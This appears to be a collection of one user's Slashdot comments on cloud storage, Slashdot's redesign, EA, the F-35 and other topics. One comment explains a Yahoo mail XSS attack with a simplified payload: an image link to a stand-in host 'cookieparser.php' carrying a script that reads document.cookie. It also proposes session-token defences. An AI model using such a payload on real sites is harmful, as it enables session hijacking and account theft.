I posted this back when Wuala shut down. Seems relevant again just a few months later.
I've been using Sync.com for the past year. They've been sort of in beta but releasing features. 5GB free.
SpiderOak is decent but they recently dropped their free plan, so not sure what's going on there.
MEGA was great but Kim.com said last week in Wired that the company is run by criminals
Tresorit is good but expensive. Maybe that's why they've been around so long. Bitcasa pulled a Wuala last year and closed down their consumer cloud storage after a lawsuit. That's pretty much it. There's OwnCloud which is do it yourself. And BitTorrent Sync which is kind of do it yourself but they've been adjusting pricing so it's bait and switch as well.
I think I read that Imgur was inlining images with data urls when viewing the raw image.
So if you visited www.imgur.com/image.jpg the source code would look like:
img src="data:image/jpg;base64,R0lGODlhEALMAAOazToeHh0tLS/7LZv/0jvb2...... etc.
When uploading an image to Imgur someone figured out how to append code to the end of the raw data to break out of the data url data and append some Javascript to it.
The Javascript pulled down images from 8chan among other things.

Same here. For the past week or two I have been experiencing all sorts of glitches, stoppages and buffering through Netflix. My local ISP on demand service is fine though. Before last week everything was awesome!
Called my ISP about it - they said contact Netflix.
Maybe Netflix should add net neutrality to the House of Cards story arc to get the word out???
Why did you make the logo smaller but increase the overall height of the top navbar? (now you have more wasted space up there for what?)
Why did you change the "Slashdot Green" colour? We all like the current green (the new green appears washed out).
Why are the Icons no longer beside the story titles? (the icons have always been a big part of the Slashdot "brand" and help with readability.)
Why did you remove the "Slashdot Green" title bars on all the stories? The title bars are also a big part of the Slashdot "brand" and also help with readability by clearly dividing the stories and providing an easy to see visual cue that delineates the new stories and even the comment threads.
Why did you remove the tags and/or make them boring? The tags added some dry humour to the stories (eg. whatcouldpossiblygowrong) which while subtle, was also a part of the Slashdot experience. Little unique details make a difference. Now the tags seem to be gone or just generic boring categorizations.
Why are you cutting off the Summary on the Homepage View? (reading the full summary without having to click anything is imperative to ensuring the website is readable.)
Why did you remove the Slashdot Green Title Bars from the comment threads? (the green title bars create an easy to see delineation between the comments and are easy to see even when scrolling fast. (they are also part of that Slashdot Brand I was talking about)
Why is there so much more padding and spacing between everything? Why are the font sizes so much larger? Did your user base suddenly become senior citizens?
Over the past decade the Slashdot logo, the Slashdot green, the title bars and icons, unique details and config options have become part and parcel of the "Slashdot Brand". It's what makes Slashdot unique. By ignoring this you weaken your brand and your reader's loyalty. You are basically stripping away all that is Slashdot without adding anything useful or new!!!!
All the hacker has to do is embed a link or image into an email and send that email to the Yahoo account of the victim. The victim then logs in and clicks the link or views the images. Assuming Yahoo doesn't filter out he embedded code the hackers gets the victim's cookies.
Simplified example: Embedded image src in email: http://www.hacker.com/cookieparser.php?default=<script>alert(document.cookie)</script>
Obviously more complicated because you need to mask your embedded code to get through the filters but that is the basis of the XSS hack that has been hitting Yahoo all year...
And because the sessions on the server never expire the hacker can gain access. I'm not sure how https would help in this scenario.
- Basically you need to pass a salted, hashed version of the session ID or random string (as a hidden form field) on all page views or form submissions and check that against both the session cookie and the hidden form field to make sure the cookie is coming from the original source (since there would be no way for the hacker to get that string as well). And invalidate the session if it doesn't match up. Also expire and delete the sessions after 6 hours of inactivity would help as well.
If you own a Review Website... time to move the hosting outside of the USA.
Why does the hosting provider have to get involved anyways? Isn't the content of the website the responsibility of the domain owner? Someone please explain why the hosting company would have shut the entire website down if they didn't remove the page?
No-one said it was a conspiracy. SimCity was just the tipping point.
EA has made MANY terrible decisions over the past 5 years. No conspiracy... just a company out of touch with reality and losing touch with their core market. CEO gets fired.
Madden continued to be a strong NFL sports franchise because there's no other official NFL games anymore...
1. Buy Franchise 2. Water Down Experience for Casual Players 3. Add Online 4. Add Co-op 5. Add Gritty Camera Filters 6. Overwork Developers 7. Pretend Game is Finished 8. Add DLC / Make Old Features New by Converting Them to DLC 9. Pay for Good Reviews 10. Hype the Fuck Out of The Game
Ultimately, EA's problem with SimCity was that they had too many paying customers.
Uh no. Their shares have been at sitting at all time lows since 2008 and John Riccitiello with whom they brought in to fix things has shit the bed. There is more bad news on the revenue front coming soon (as the press release indicates).
Riccitiello destroyed the NFL franchise, killed almost every other big name game (Command and Conquer, Mass Effect), bet the bank on Spore and lost, and oversaw the launch of a bug-plagued online service that is now shutting down more old games that people purchased than launching new ones.
Remember, EA was recently ranked as the Worst Company in America. Gamers have been complaining about EA way before SimCity. Like when EA negotiated an exclusive rights deal on all NFL games and then churned out the worst NFL games for years and years to come. They have ruined many, many franchises.
The F35 would probably have more support if it was called a Super-Duper-Marine Spitfire for sure... nostalgia sells. Alternatively you can build your own Spitfire for about $395,000 today Link
For that price our military could purchase 1,500 of them for the same price as the lifetime cost of ONE F35 ($600 Million)
Imagine if you were the lone pilot of an F35 and 1,500 Spitfires came down on you.... haha!
Yes this is the question that the Harper Government has failed to answer!!! I'd love to hear the reasoning behind why the Canadian Military specifically needs F35's.
From a Canadian perspective the big advantages of going with the Super Hornet is backwards compatibility (even more-so than the lower price).
- The Super Hornet is compatible with the current RCAF in-air refuelling technology - The Super Hornet technology is an upgrade to what we already have - our techs are compatible / familiar with it - The Super Hornet does not require longer runways for landing - our remote arctic runways are compatible - The Super Hornet has landing gear better suited for icy runways - our weather is compatible
It's not as stealthy but we are a defensive military.
- The Super Hornet is also half the price.
The Harper Government has a hard-on for the F35 and the Canadian public really has no idea WHY.

The FCC is soooo awesome for doing this!
Finally they stood up to the telecoms and now I trust them completely to ensure that the Internet will be free, open and available to everyone.
I've never understood the hate as of late.

This is the first sane thing I've read in this thread.
Ya who gives a shit ... wtf happened to this website ... I guess I'm trolling now ...
Agreed!
Diamond Monster 3D pass through card.
That's was the ticket to Quake Awesomeness.
Those were the good 'ole days. My CPU path was something like this:
......
......
486 DX2/66 -> Pentium Overdrive -> Pentium 200 -> Pentium Celeron 300A (over clocked to 450)
Video cards went something like:
Matrox Millenium -> Diamond Monster 3D -> 3DFX Voodoo II x 2

If one of these things is flying over YOUR PROPERTY are you allowed to blast it out of the sky?
Or will doing so bring the wrath of the justice department upon you until you are either bankrupt, in jail, or worse.
It seems like surveillance state / police state is becoming a reality.
Thank-you. I hate when EA lovers try to rewrite history.

NO .. HE MISSED PROFIT !!
Riccitiello's 10-point plan to Success
1. Buy Franchise
2. Water Down Experience for Casual Players
3. Add Online
4. Add Co-op
5. Add Gritty Camera Filters
6. Overwork Developers
7. Pretend Game is Finished
8. Add DLC / Make Old Features New by Converting Them to DLC
9. Pay for Good Reviews
10. Hype the Fuck Out of The Game

A force multiplier against who?
Combat against who?
I'm sure most Canadians (myself included) are all for modernizing the military ... but $600 Million Per Jet Source is insane!
